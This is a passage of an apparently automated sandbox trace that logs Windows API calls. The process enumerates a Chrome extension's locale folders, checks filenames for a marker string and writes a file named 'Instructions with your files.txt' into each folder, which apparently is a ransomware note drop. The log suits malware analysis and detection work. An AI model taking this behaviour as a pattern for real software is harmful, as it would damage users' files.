[0129.927] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8270de60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0129.927] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi") returned 145
[0129.927] GetProcessHeap () returned 0x810000
[0129.928] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.928] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*") returned 147
[0129.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8270de60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.928] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\.") returned 147
[0129.928] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8270de60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.929] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\..") returned 148
[0129.929] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8270de60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.929] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json") returned 159
[0129.929] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.929] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8270de60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.929] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\Instructions with your files.txt") returned 178
[0129.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.929] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.930] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.930] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.930] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.930] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.931] CloseHandle (hObject=0x134) returned 1
[0129.931] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.931] GetProcessHeap () returned 0x810000
[0129.931] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.931] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82717aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0129.931] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil") returned 146
[0129.931] GetProcessHeap () returned 0x810000
[0129.931] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.931] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*") returned 148
[0129.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82717aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.931] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\.") returned 148
[0129.931] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82717aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.931] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\..") returned 149
[0129.931] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82717aa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.931] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 160
[0129.931] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.931] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82717aa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.931] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\Instructions with your files.txt") returned 179
[0129.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.932] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.933] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.933] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.933] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.933] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.933] CloseHandle (hObject=0x134) returned 1
[0129.933] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.933] GetProcessHeap () returned 0x810000
[0129.933] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.933] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827216e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827216e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0129.933] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr") returned 145
[0129.933] GetProcessHeap () returned 0x810000
[0129.933] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.933] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*") returned 147
[0129.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827216e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827216e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.934] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\.") returned 147
[0129.934] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827216e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827216e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.934] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\..") returned 148
[0129.934] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827216e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82723df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.934] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 159
[0129.934] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.934] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827216e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82723df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.934] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\Instructions with your files.txt") returned 178
[0129.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.935] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.936] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.936] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.936] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.936] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.936] CloseHandle (hObject=0x134) returned 1
[0129.936] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.936] GetProcessHeap () returned 0x810000
[0129.936] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.936] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8272da30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0129.936] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi") returned 145
[0129.936] GetProcessHeap () returned 0x810000
[0129.936] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.936] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*") returned 147
[0129.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8272da30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.937] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\.") returned 147
[0129.937] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8272da30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.937] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\..") returned 148
[0129.937] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8272da30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.937] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 159
[0129.937] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
